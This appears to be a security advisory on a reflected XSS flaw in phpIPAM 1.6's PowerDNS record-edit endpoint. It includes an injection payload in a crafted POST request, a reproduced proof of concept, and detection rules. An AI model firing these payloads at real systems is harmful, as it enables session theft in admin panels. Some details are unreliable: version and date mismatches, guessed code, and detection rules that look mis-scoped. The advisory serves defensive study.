CVE-2024-41357

Executive Summary

CVE-2024-41357 is a reflected Cross-Site Scripting (XSS) vulnerability identified in phpIPAM version 1.6. The flaw resides in the /app/admin/powerDNS/record-edit.php endpoint, where the domain_id parameter is not properly sanitized before being reflected in the HTTP response. An authenticated attacker with administrative privileges can inject arbitrary JavaScript code, leading to session hijacking, credential theft, or defacement within the admin panel context. The vulnerability has a public proof-of-concept (PoC) exploit available on Exploit-DB, and no official patch has been released as of this analysis. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk is elevated for organizations using phpIPAM in production environments.

Supply Chain & Package Security

phpIPAM is a self-hosted PHP application distributed via GitHub. There is no NPM, PyPI, Go, or Ruby package associated with this software. The vulnerability is introduced directly in the source code of the application, not through a third-party dependency. Organizations should verify the integrity of their phpIPAM installation by checking the source code hash against the official repository.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – requires admin login
• User Interaction: Required (UI:R) – victim must click a crafted link
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – potential cookie theft
• Integrity Impact: Low (I:L) – script execution in admin context
• Availability Impact: None (A:N)

Threat Level: Medium. The requirement for admin authentication reduces the attack surface, but the impact within the admin panel can be severe, including privilege escalation or lateral movement.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the record-edit.php script. The domain_id parameter is taken from the HTTP POST request and directly embedded into the HTML response without proper encoding or sanitization. The vulnerable code path likely looks like:

$domain_id = $_POST['domain_id'];
echo "<input type='hidden' name='domain_id' value='$domain_id'>";

An attacker can inject a payload such as "><script>alert(1)</script> into the domain_id parameter. When the server renders the response, the injected script breaks out of the HTML attribute context and executes in the victim's browser.

The exploit requires the attacker to be authenticated as an admin user to satisfy the admin check condition in the application. Once triggered, the XSS can be used to:

• Steal session cookies (if not HttpOnly)
• Perform actions on behalf of the victim admin (e.g., create new admin accounts)
• Deface the admin interface
• Redirect to phishing pages

Vulnerable vs. Patched Code

Vulnerable Code (phpIPAM 1.6):

// /app/admin/powerDNS/record-edit.php (simplified)
$domain_id = $_POST['domain_id'];
echo "<input type='hidden' name='domain_id' value='$domain_id'>";

Patched Code (Hypothetical Fix):

// Use htmlspecialchars to escape output
$domain_id = $_POST['domain_id'];
echo "<input type='hidden' name='domain_id' value='" . htmlspecialchars($domain_id, ENT_QUOTES, 'UTF-8') . "'>";

The fix involves applying htmlspecialchars() with ENT_QUOTES to encode both single and double quotes, preventing script injection. Additionally, input validation should ensure domain_id is an integer or matches a strict pattern.

Exploitation & Lab Setup

Red Team

Prerequisites:

• phpIPAM 1.6 instance
• Admin credentials (e.g., admin:admin)
• Burp Suite or curl

Exploit Steps:

1. Log in to phpIPAM as an admin user.
2. Craft a malicious POST request to the vulnerable endpoint:

POST /app/admin/powerDNS/record-edit.php HTTP/1.1
Host: target-phpipam.local
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=your_session_id

action=add&domain_id=%22%3E%3Cscript%3Ealert(1)%3C/script%3E

3. The server will respond with the injected script executed in the browser.

Full Exploit-DB Code:

# Exploit Title: phpIPAM 1.6 - Reflected Cross-Site Scripting (XSS)
# Date: 2025-11-25
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/phpipam/phpipam/
# Software Link: https://github.com/phpipam/phpipam/
# Version: 1.5.1
# Tested on: Windows
# CVE : CVE-2024-41357

# PoC to trigger XSS vulnerability in phpipam 1.6
# Ensure you are logged in as an admin user to satisfy the admin check condition.
# Send the following POST request to trigger the XSS vulnerability:

POST /app/admin/powerDNS/record-edit.php HTTP/1.1
Host: phpipam
Content-Type: application/x-www-form-urlencoded
Content-Length: <calculated_length>

action=add&domain_id=%22%3E%3Cscript%3Ealert(1)%3C/script%3E

# This will execute the alert(1) script when the response is rendered in the browser.

Usage: Replace phpipam with the target host, set a valid session cookie, and send the request using curl or Burp Suite.

Blue Team

Detection:

• Monitor HTTP POST requests to /app/admin/powerDNS/record-edit.php with suspicious domain_id parameters containing <script> or %3Cscript%3E.
• Look for anomalous admin session activity, such as unexpected account creation or configuration changes.

Hunting:

• Search web server logs for requests to record-edit.php with domain_id containing HTML tags or URL-encoded script payloads.
• Correlate with admin login timestamps to identify potential exploitation windows.

Prevention:

• Implement a Web Application Firewall (WAF) rule to block requests with domain_id containing <script> or onerror= patterns.
• Enforce strict input validation on the server side (e.g., reject non-numeric domain_id values).

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST request to /app/admin/powerDNS/record-edit.php with domain_id containing %22%3E%3Cscript%3E or similar patterns.
  • Outbound connections to unknown domains from the phpIPAM server (potential C2 callback).

• File IOCs:

  • Modified phpIPAM source files (e.g., record-edit.php) with injected code.
  • Suspicious entries in phpIPAM logs (if enabled) showing XSS payloads.

• Behavioral IOCs:

  • Unusual admin account creation or privilege escalation.
  • Unexpected changes to PowerDNS records or DNS configurations.

Detection Engineering

YARA Rule

rule phpipam_xss_cve_2024_41357 {
    meta:
        description = "Detects XSS payload in phpIPAM record-edit.php requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-41357"
    strings:
        $xss_payload = /domain_id=[^&]*%3Cscript%3E/i
        $xss_payload2 = /domain_id=[^&]*<script>/i
    condition:
        any of them
}

Sigma Rule

title: phpIPAM Reflected XSS via domain_id Parameter
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects exploitation attempts of CVE-2024-41357 in phpIPAM
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/app/admin/powerDNS/record-edit.php'
        cs-uri-query|contains: 'domain_id='
    filter:
        cs-uri-query|contains: 'domain_id=%22%3E%3Cscript%3E'
    condition: selection and filter
falsepositives:
    - Legitimate admin actions with special characters in domain_id (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-41357 phpIPAM Reflected XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/app/admin/powerDNS/record-edit.php"; http_uri;
    content:"domain_id="; http_client_body;
    pcre:"/domain_id=[^&]*%3Cscript%3E/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable PowerDNS module if not in use: Navigate to Administration → Modules and disable PowerDNS.
2. Restrict admin access to trusted IPs only via firewall or .htaccess.
3. Apply input validation manually by editing /app/admin/powerDNS/record-edit.php to sanitize domain_id with htmlspecialchars().

Long-Term Fix:

• Upgrade to a patched version once released by the vendor.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Conduct a full code audit of all admin-facing PHP files for similar injection flaws.

Workaround:

• Use a WAF to block requests containing %3Cscript%3E in the domain_id parameter.
• Monitor logs for exploitation attempts and block offending IPs.

Valters IT

{/* [Security Hash: 62FAD409D10602984F0C8637] */}